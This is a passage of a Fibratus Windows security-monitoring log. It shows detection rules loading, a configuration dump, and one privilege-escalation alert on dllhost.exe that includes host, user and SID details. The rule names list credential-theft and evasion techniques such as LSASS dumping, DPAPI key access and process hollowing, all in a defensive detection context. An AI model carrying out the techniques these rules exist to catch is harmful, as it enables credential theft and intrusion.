source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:21:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:21:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:22:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:22:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:22:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:33:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:33:15+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:33:15+01:00 level=info msg=bootstrapping with pid 22968. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:33:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true min-buffers=>16 enable-handle=>false enable-fileio=>true enable-mem=>false buffer-size=>512 enable-audit-api=>true max-buffers=>36 stack-enrichment=>true enable-threadpool=>false enable-thread=>true enable-image=>true enable-net=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 log-stdout=>true level=>info formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ gzip-compression=>false enabled=>false bulk-workers=>1 template-name=>fibratus healthcheck=>true sniff=>false healthcheck-interval=>10s trace-log=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s healthcheck-timeout=>5s] amqp=>[ exchange=>fibratus timeout=>5s delivery-mode=>transient exchange-type=>topic durable=>false passive=>false routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false method=>POST timeout=>5s serializer=>json enabled=>false endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false excluded-procs=>[] skip-files=>false excluded-files=>[] scan-timeout=>10s skip-allocs=>false skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:33:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:33:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:33:35+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 1960276 + Pid: 20176 + Tid: 11564 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 17:33:22.5943411 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b8b986ef0, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b7ffcc0f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 11564, type➜ File + Metadata: rule.seq.link: 10888785234348503993, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 20176 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + + Seq: 1978970 + Pid: 19096 + Tid: 4124 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-20 17:33:23.05775 +0100 CET + Params: base_address➜ 7ffcc8950000, checksum➜ 419630, default_address➜ 7ffcc8950000, file_path➜ C:\Program Files (x86)\K-Lite Codec Pack\Icaros\64-bit\IcarosThumbnailProvider.dll, image_size➜ 417792, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 19096, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.seq.link: 10888785234348503993, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.name: Privilege Escalation + + Pid: 19096 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T17:34:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:34:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:34:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:35:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from 